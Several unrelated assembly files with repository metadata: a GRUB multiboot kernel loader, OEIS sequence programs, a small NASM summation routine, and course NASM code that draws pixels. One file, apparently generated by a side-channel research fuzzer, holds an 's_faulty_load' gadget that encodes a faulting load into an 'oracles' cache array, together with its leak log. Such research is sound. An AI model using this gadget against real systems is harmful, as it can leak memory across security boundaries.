Izikiel/intel_multicore
10ab11fa901f555608a75f9256ea7d14f8aab84d
[ "MIT" ]
3
2015-12-16T06:17:14.000Z
2019-09-01T08:21:21.000Z
DeliriOS_64bits/grub-init/src/loader.asm
Izikiel/intel_multicore
10ab11fa901f555608a75f9256ea7d14f8aab84d
[ "MIT" ]
null
null
null
DeliriOS_64bits/grub-init/src/loader.asm
Izikiel/intel_multicore
10ab11fa901f555608a75f9256ea7d14f8aab84d
[ "MIT" ]
null
null
null
;3.2 Machine state ; ;When the boot loader invokes the 32-bit operating system, the machine must have the following state: ; ;‘EAX’ ; Must contain the magic value ‘0x2BADB002’; the presence of this value indicates to the operating system ;that it was loaded by a Multiboot-compliant boot loader (e.g. as opposed to another type of boot loader that ;the operating system can also be loaded from). ;‘EBX’ ; Must contain the 32-bit physical address of the Multiboot information structure provided by the boot loader (see Boot information format). ;‘CS’ ; Must be a 32-bit read/execute code segment with an offset of ‘0’ and a limit of ‘0xFFFFFFFF’. The exact value is undefined. ;‘DS’ ;‘ES’ ;‘FS’ ;‘GS’ ;‘SS’ ; Must be a 32-bit read/write data segment with an offset of ‘0’ and a limit of ‘0xFFFFFFFF’. The exact values are all undefined. ;‘A20 gate’ ; Must be enabled. ;‘CR0’ ; Bit 31 (PG) must be cleared. Bit 0 (PE) must be set. Other bits are all undefined. ;‘EFLAGS’ ; Bit 17 (VM) must be cleared. Bit 9 (IF) must be cleared. Other bits are all undefined. ; ;All other processor registers and flag bits are undefined. This includes, in particular: ; ;‘ESP’ ; The OS image must create its own stack as soon as it needs one. ;‘GDTR’ ; Even though the segment registers are set up as described above, the ‘GDTR’ may be invalid, so the OS image ;must not load any segment registers (even just reloading the same values!) until it sets up its own ‘GDT’. ;‘IDTR’ ; The OS image must leave interrupts disabled until it sets up its own IDT. ;However, other machine state should be left by the boot loader in normal working order, i.e. as initialized by ;the bios (or DOS, if that's what the boot loader runs from). In other words, the operating system should be ;able to make bios calls and such after being loaded, as long as it does not overwrite the bios data structures ;before doing so. Also, the boot loader must leave the pic programmed with the normal bios/DOS values, even if ;it changed them during the switch to 32-bit mode. %include "src/asm_screen_utils.mac" BITS 32 global loader global apStartupCode extern kmain ; kmain es el punto de entrada al kernel posta, esta en un archivo aparte section .data ;Header multiboot de GRUB MODULEALIGN equ 1<<0 ; align loaded modules on page boundaries MEMINFO equ 1<<1 ; provide memory map FLAGS equ MODULEALIGN | MEMINFO ; this is the Multiboot 'flag' field MAGIC equ 0x1BADB002 ; 'magic number' lets bootloader find the header CHECKSUM equ -(MAGIC + FLAGS) ; checksum required mensaje_ok_msg: db 'Grub loader OK!' mensaje_ok_len equ $ - mensaje_ok_msg section .__mbHeader align 4 multiboot_header: dd MAGIC dd FLAGS dd CHECKSUM section .text ;El codigo genuino del loader loader: ;ver arriba state machine para ver como esta la pc en este lugar mov esp, stack + STACKSIZE ; Ponemos la pila mov ebp, stack + STACKSIZE ; Ponemos el piso de la pila imprimir_texto_mp mensaje_ok_msg, mensaje_ok_len, 0x02, 9, 0 push eax ; Pusheamos el magic number. push ebx ; Pusheamos la informacion. Esto sirve para por ejemplo obtener cuanta ram tenemos. call kmain ; Llamamos al kernel posta ;restauro el ptr al multiboot_header pop ebx ;desapilo el magic number luego del llamado add esp, 4 ;kmain me devolvio el puntero al entrypoint de DeliriOS o NULL si hubo error ;en ecx dejo el puntero al comienzo del stage2 del loader de los ap o NULL si hubo error mov ecx, [apStartupCode] ;la idea es que un stage1 de los ap ocupe lo menos posible y haga jmp a memoria alta ;porque tengo que pisar grub para poner el ip en memoria baja y comenzar en modo real en los aps... ;ps. el stage1 del loader de los ap va si o si abajo del mega, pisamos grub, ver en ;linker script de DeliriOS donde esta pegoteado eso, seguramente en 0x2000, pero revisar ;por si en el futuro se cambia... cmp eax, 0x0;NULL je hang ;si no es null paso por ebx el puntero a la informacion de grub multiboot_info_t* ;(ver multiboot.h) y salta al entrypoint de DeliriOS jmp eax hang: xchg bx, bx hlt ; Halt por si no funca kmain (no deberia). jmp hang section .bss ;Pila ;Reservamos un espacio de pila inicial del loader, 64K STACKSIZE equ 0x10000 align 4 stack: resb STACKSIZE ; Reservamos la cantidad de la pila que queremos apStartupCode: resb 4;reservo memoria 32 bits
43.694444
494
0.693791
684e8100ea5e451a11eb787b3b4adb45695542a1
740
asm
Assembly
oeis/116/A116522.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/116/A116522.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/116/A116522.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A116522: a(0)=1, a(1)=1, a(n)=7*a(n/2) for n=2,4,6,..., a(n)=6*a((n-1)/2)+a((n+1)/2) for n=3,5,7,.... ; 0,1,7,13,49,55,91,127,343,349,385,421,637,673,889,1105,2401,2407,2443,2479,2695,2731,2947,3163,4459,4495,4711,4927,6223,6439,7735,9031,16807,16813,16849,16885,17101,17137,17353,17569,18865,18901,19117,19333,20629,20845,22141,23437,31213,31249,31465,31681,32977,33193,34489,35785,43561,43777,45073,46369,54145,55441,63217,70993,117649,117655,117691,117727,117943,117979,118195,118411,119707,119743,119959,120175,121471,121687,122983,124279,132055,132091,132307,132523,133819,134035,135331,136627 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 sub $0,1 seq $0,256136 ; a(n) = 6^A000120(n). add $1,$0 lpe mov $0,$1
49.333333
496
0.701351
f702e8ea5bd33f0f0e20cf4ae884032541942008
7,239
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0xca_notsx.log_7333_1620.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0xca_notsx.log_7333_1620.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0xca_notsx.log_7333_1620.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r14 push %r8 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x137f3, %rbx clflush (%rbx) nop nop nop nop dec %r12 movups (%rbx), %xmm5 vpextrq $1, %xmm5, %r8 nop nop nop nop nop xor $5398, %rbp lea addresses_UC_ht+0x36c3, %r14 clflush (%r14) nop nop nop nop cmp %rax, %rax mov $0x6162636465666768, %r8 movq %r8, (%r14) nop nop nop and %rbp, %rbp lea addresses_normal_ht+0x1338f, %rax nop nop nop nop nop dec %r11 mov (%rax), %r14d nop nop nop nop add %r14, %r14 lea addresses_WT_ht+0x6483, %rsi lea addresses_A_ht+0xbd2e, %rdi clflush (%rsi) nop nop nop nop nop sub %rbx, %rbx mov $64, %rcx rep movsl nop nop cmp $2150, %rsi lea addresses_normal_ht+0x5483, %rsi nop nop nop nop xor $40727, %rax movw $0x6162, (%rsi) nop nop nop nop nop xor $35034, %rbp lea addresses_WT_ht+0x4cc3, %rcx nop and $29282, %r14 mov $0x6162636465666768, %r11 movq %r11, %xmm3 and $0xffffffffffffffc0, %rcx movaps %xmm3, (%rcx) nop nop nop sub %r14, %r14 lea addresses_D_ht+0x1bd73, %rbx clflush (%rbx) nop nop nop nop xor %rax, %rax mov (%rbx), %rdi nop nop sub %r8, %r8 lea addresses_D_ht+0x1c2c3, %rsi lea addresses_A_ht+0x19c83, %rdi nop nop nop nop nop sub %rbp, %rbp mov $24, %rcx rep movsq nop nop nop nop inc %r8 lea addresses_WT_ht+0x133c3, %rsi lea addresses_WC_ht+0x186c3, %rdi clflush (%rsi) clflush (%rdi) nop nop and %rbx, %rbx mov $63, %rcx rep movsb nop nop nop nop and $60742, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r8 pop %r14 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r8 push %r9 push %rax push %rsi // Store lea addresses_normal+0x9cc3, %r9 nop nop nop nop and %r10, %r10 movl $0x51525354, (%r9) nop nop nop nop and $15082, %r11 // Load mov $0x5f4cf3000000047e, %r10 nop nop cmp $30478, %rsi vmovups (%r10), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %r13 nop dec %r11 // Store lea addresses_WC+0x1fac3, %r13 nop nop nop nop nop cmp $37197, %rsi movl $0x51525354, (%r13) nop nop nop nop nop cmp $60511, %r11 // Faulty Load lea addresses_normal+0x9cc3, %rax nop nop nop xor %r10, %r10 mov (%rax), %esi lea oracles, %r8 and $0xff, %rsi shlq $12, %rsi mov (%r8,%rsi,1), %rsi pop %rsi pop %rax pop %r9 pop %r8 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'54': 7333} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
30.544304
2,999
0.658793
4891c518ad941827dd5ba967f2efa06510d2b572
471
asm
Assembly
oeis/285/A285526.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/285/A285526.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/285/A285526.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A285526: Terms of A285524 that mark the beginning of four consecutive equal values. ; Submitted by Jamie Morken(s1) ; 4,12,20,27,35,43,51,59,67,74,82,90,98,106,113,121,129,137,145,153,160,168,176,184,192,200,207,215,223,231,239,246,254,262,270,278,286,293,301,309,317 mov $4,$0 mov $7,$0 mul $0,4 add $0,1 mov $2,$0 lpb $0 mul $0,$5 mov $6,$2 mul $6,18 lpe mul $6,2 div $6,79 mov $1,$6 add $1,1 add $1,$7 add $1,5 mov $3,$4 mul $3,5 add $1,$3 mov $0,$1 sub $0,2
18.115385
151
0.649682
59c437b1f3cb146b28db45edc0b6c1d37e1261b3
553
asm
Assembly
Listas/00 - Assembly/ex04.asm
LFMP/ARQ1
0f675e2e7c68a8e7ac97332e186170e5e4cfda45
[ "MIT" ]
2
2018-09-08T18:14:41.000Z
2018-09-24T16:14:27.000Z
Listas/00 - Assembly/ex04.asm
LFMP/ARQ1
0f675e2e7c68a8e7ac97332e186170e5e4cfda45
[ "MIT" ]
null
null
null
Listas/00 - Assembly/ex04.asm
LFMP/ARQ1
0f675e2e7c68a8e7ac97332e186170e5e4cfda45
[ "MIT" ]
null
null
null
BITS 64 extern printf section .data fmt1 db "Somatorio = %d", 10, 0 section .text global main main: mov rbp, rsp; for correct debugging push 2 call somatorio add rsp, 8 jmp end somatorio: push rbp mov rbp, rsp sub rsp,8 mov qword [RBP-8],1 mov qword [RBP-16],1 ; "i" mov rax,0 mov rbx,1 jmp comp multip: add rax,rbx inc rbx mov [RBP-8], rax mov [RBP-16], rbx comp: cmp rbx, [RBP+16] jbe multip mov rsp, rbp pop rbp ret end: mov rsi, rax mov rdi, fmt1 xor rax, rax call printf ret
11.765957
36
0.616637
bdc4b63cecbba43d2356e3422a97add85365d05b
371
asm
Assembly
oeis/211/A211995.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/211/A211995.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/211/A211995.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A211995: a(n) = floor(7^n / 2^n) mod 2^n. ; Submitted by Jon Maiga ; 0,1,0,2,6,13,46,33,246,479,398,883,20,6215,9467,16751,42245,115091,140675,492363,674695,1312859,2497856,2451041,4384342,6956591,24348068,118772672,147268896,112787953,394757837,844781520,809251672,2832380853,1323398395,13221828975 mov $1,7 pow $1,$0 mov $2,2 pow $2,$0 div $1,$2 mod $1,$2 mov $0,$1
30.916667
232
0.733154
7c0a0f07fca8783b77f6db4186cff51927fb9bb7
2,608
asm
Assembly
src/public/src/FM7/util/fm7code/miscdata.asm
rothberg-cmu/rothberg-run
a42df5ca9fae97de77753864f60d05295d77b59f
[ "MIT" ]
1
2019-08-10T00:24:09.000Z
2019-08-10T00:24:09.000Z
src/public/src/FM7/util/fm7code/miscdata.asm
rothberg-cmu/rothberg-run
a42df5ca9fae97de77753864f60d05295d77b59f
[ "MIT" ]
null
null
null
src/public/src/FM7/util/fm7code/miscdata.asm
rothberg-cmu/rothberg-run
a42df5ca9fae97de77753864f60d05295d77b59f
[ "MIT" ]
2
2019-05-01T03:11:10.000Z
2019-05-01T03:30:35.000Z
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RESTORECMD FCB 8 FCB 0 ; Error Return FCB 0 FCB 0 FCB 0 FCB 0 FCB 0 RESTORE_DRIVE FCB 0 ; Input from BASIC. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; BIOSSTRINGOUT FCB 20,0 BIOSSTRINGOUT_PTR FDB 0 BIOSSTRINGOUT_LEN FDB 0 FDB 0 ; For the sake of 8-byte buffer ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; BIOSKEYIN FCB 21,0 BIOSKEYIN_PTR FDB 0 BIOSKEYIN_LEN FDB 0 FDB 0 ; For the sake of 8-byte buffer BIOSKEYIN_OUTBUF FCB 0,0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENTERKEYMSG FCB "Insert Target Disk in Drive " ENTERKEYMSG_DRIVE FCB "0 and" FCB $0d,$0a FCB "Press RETURN" FCB $0d,$0a ENTERKEYMSG_END ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ERRORMSG FCB "ERROR! SOMETHING WENT WRONG!" ERRORMSG_END ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; WRITEERROR_MSG FCB "ERROR! BIOS RETURNED:" WRITEERROR_MSG_CODE FCB "XX" FCB $0d,$0a WRITEERROR_MSG_END ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; POSITIONMSG FCB "Track:" TRACK_STR_PTR FCB "00" FCB " Side:" SIDE_STR_PTR FCB "00" FCB " Sector:" SECTOR_STR_PTR FCB "00" FCB $0d,$0a POSITIONMSG_END ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RESTORE_ERRORMSG FCB "ERROR! RESTORE command failed." FCB $0d,$0a RESTORE_ERRORMSG_END ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; BIOSERRMSG FCB "BIOS ERROR CODE=" BIOSERRMSG_CODE FCB "00" FCB $0d,$0a BIOSERRMSG_END ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; TRACKMSG FCB "TRACK:" TRACK_DIGIT FCB 0x20,0x20 FCB " SIDE:" SIDE_DIGIT FCB 0x20 FCB $0d,$0a TRACKMSG_END ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; BINITCMD FCB 23 FCB 0,0,0,0,0,0,0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENTERKEYMSG_STRONG FCB "Insert Target Disk in Drive " ENTERKEYMSG_STRONG_DRIVE FCB "0 and" FCB $0d,$0a FCB "Press RETURN" FCB $0d,$0a FCB "Cancel to press ESC" FCB $0d,$0a FCB "CAUTION! Current content of the disk" FCB $0d,$0a FCB "will be erased!" FCB $0d,$0a ENTERKEYMSG_STRONG_END ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ERRORRETURN FCB 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; BIOSERRORCODE FCB 0
23.079646
64
0.420245
57093b54d77548b712212cdd4f03ea9d8110be8d
2,327
asm
Assembly
boot/stage_1.asm
nop-os/nop
c281aae35bbf3a1784620dcacad1d73e8e708b40
[ "MIT" ]
9
2021-11-02T03:54:01.000Z
2022-01-10T23:53:24.000Z
boot/stage_1.asm
nop-os/nop
c281aae35bbf3a1784620dcacad1d73e8e708b40
[ "MIT" ]
null
null
null
boot/stage_1.asm
nop-os/nop
c281aae35bbf3a1784620dcacad1d73e8e708b40
[ "MIT" ]
1
2021-12-02T19:47:02.000Z
2021-12-02T19:47:02.000Z
[org 0x7C00] [bits 16] %define TINYBOOT_DAP 0x7000 ; Extended INT 0x13 DAP %define TINYBOOT_DRIVE 0x7010 ; Current INT 0x13 drive %define TINYBOOT_LBA 0x7012 ; LBA address of partition %define TINYBOOT_BUFFER 0x3000 ; FS and VESA temp. buffer %define TINYBOOT_CLUSTER 0x2000 ; Cluster buffer %define TINYBOOT_CONFIG 0x1000 ; Config file buffer tinyboot_bpb: cli jmp tinyboot_stage_1 times 0x0080 - ($ - $$) db 0xCC tinyboot_stage_1: xor ax, ax mov ds, ax mov es, ax mov bx, 0x7000 mov ss, bx mov sp, ax cld mov cx, 0x0010 mov di, TINYBOOT_DAP rep stosb sti .check_drv: test dl, 0x80 jz drv_error .check_lba: push dx mov ah, 0x41 mov bx, 0x55AA int 0x13 jc ext_error cmp bx, 0xAA55 jne ext_error pop dx .setup_dap: mov si, TINYBOOT_DAP mov byte [si + 0x00], 0x10 mov byte [si + 0x02], 0x03 mov byte [si + 0x05], 0x7E mov di, mbr_table mov cl, 0x04 .check_mbr_atr: mov eax, [di + 0x08] test dword [di], 0x80 jnz .load_stage_2 add di, 0x0010 loop .check_mbr_atr xor eax, eax .load_stage_2: mov [TINYBOOT_DRIVE], dl mov [TINYBOOT_LBA], eax inc eax mov dword [si + 0x08], eax mov ah, 0x42 int 0x13 jc rea_error call .wait_a20_1 mov al, 0xAD out 0x64, al call .wait_a20_1 mov al, 0xD0 out 0x64, al .wait_a20_2: in al, 0x64 test al, 0x01 jz .wait_a20_2 in al, 0x60 push ax call .wait_a20_1 mov al, 0xD1 out 0x64, al call .wait_a20_1 pop ax or al, 0x02 out 0x60, al call .wait_a20_1 mov al, 0xAE out 0x64, al jmp 0x0000:0x7E00 .wait_a20_1: in al, 0x64 test al, 0x02 jnz .wait_a20_1 ret drv_error: mov si, drv_error_str jmp error ext_error: mov si, ext_error_str jmp error rea_error: mov si, rea_error_str jmp error brk_error: mov si, brk_error_str error: mov ah, 0x0E xor bh, bh .str_loop: lodsb test al, al jz .str_end int 0x10 jmp .str_loop .str_end: jmp $ drv_error_str: db "tinyboot: Floppy boot unsupported", 0x00 ext_error_str: db "tinyboot: LBA unsupported", 0x00 rea_error_str: db "tinyboot: Read error", 0x00 brk_error_str: db "tinyboot: Breakpoint", 0x00 times 0x01B8 - ($ - $$) db 0xCC mbr_uuid: dd 0x00000000 mbr_reserved: dw 0x0000 mbr_table: times 0x40 db 0x00 mbr_signature: dw 0xAA55 %include "stage_2.inc"
16.272727
58
0.68887
4d3fd9bc4dc7eeebeecb5f6e902c1e0633c61520
464
asm
Assembly
src/entity/constants.asm
geniiii/genesis-pong
e733238cf1fe8a7d0e628b926ebfa438e42fbcda
[ "MIT" ]
null
null
null
src/entity/constants.asm
geniiii/genesis-pong
e733238cf1fe8a7d0e628b926ebfa438e42fbcda
[ "MIT" ]
1
2021-06-25T12:21:04.000Z
2021-06-25T12:21:04.000Z
src/entity/constants.asm
geniiii/genesis-pong
e733238cf1fe8a7d0e628b926ebfa438e42fbcda
[ "MIT" ]
null
null
null
entity_max: equ $40 Entity struct dots Type: ds.b 1 align 2 ; The assembler strongly dislikes one-character element names; ; while they end up in the symbol table, it appears they're unusable :( Pos: Pos_X: ds.l 1 Pos_Y: ds.l 1 Vel: Vel_X: ds.l 1 Vel_Y: ds.l 1 Spawn: Spawn_X: ds.l 1 Spawn_Y: ds.l 1 Entity endstruct entity_types: phase $1 entity_type_ball: ds.b 1 entity_type_p1: ds.b 1 entity_type_p2: ds.b 1 dephase !org entity_types
16
71
0.711207
5e40934a82b35e856e02902732b111ea95965528
941
nasm
Assembly
Projetos/F-Assembly/src/nasm/linha.nasm
LiuSeeker/Z01-Coldzera
097f0af689c0511598163bcf4c89afe987292f24
[ "Unlicense" ]
1
2018-04-20T10:41:30.000Z
2018-04-20T10:41:30.000Z
Projetos/F-Assembly/src/nasm/linha.nasm
LiuSeeker/Z01-Coldzera
097f0af689c0511598163bcf4c89afe987292f24
[ "Unlicense" ]
76
2018-03-09T12:22:41.000Z
2018-05-18T11:47:17.000Z
Projetos/G-Computador/src/rtl/linha.nasm
LiuSeeker/Z01-Coldzera
097f0af689c0511598163bcf4c89afe987292f24
[ "Unlicense" ]
null
null
null
leaw $0, %A movw %A, %S notw %S leaw $18666, %A movw %S, (%A) leaw $18667, %A movw %S, (%A) leaw $18668, %A movw %S, (%A) leaw $18669, %A movw %S, (%A) leaw $18670, %A movw %S, (%A) leaw $18671, %A movw %S, (%A) ;grosso leaw $18646, %A movw %S, (%A) leaw $18647, %A movw %S, (%A) leaw $18648, %A movw %S, (%A) leaw $18649, %A movw %S, (%A) leaw $18650, %A movw %S, (%A) leaw $18651, %A movw %S, (%A) leaw $18686, %A movw %S, (%A) leaw $18687, %A movw %S, (%A) leaw $18688, %A movw %S, (%A) leaw $18689, %A movw %S, (%A) leaw $18690, %A movw %S, (%A) leaw $18691, %A movw %S, (%A) leaw $18706, %A movw %S, (%A) leaw $18707, %A movw %S, (%A) leaw $18708, %A movw %S, (%A) leaw $18709, %A movw %S, (%A) leaw $18710, %A movw %S, (%A) leaw $18711, %A movw %S, (%A) leaw $18726, %A movw %S, (%A) leaw $18727, %A movw %S, (%A) leaw $18728, %A movw %S, (%A) leaw $18729, %A movw %S, (%A) leaw $18730, %A movw %S, (%A) leaw $18731, %A movw %S, (%A)
14.257576
15
0.534538
bd158e6f38027560f4766fbe0eaff93037c5af5c
5,752
asm
Assembly
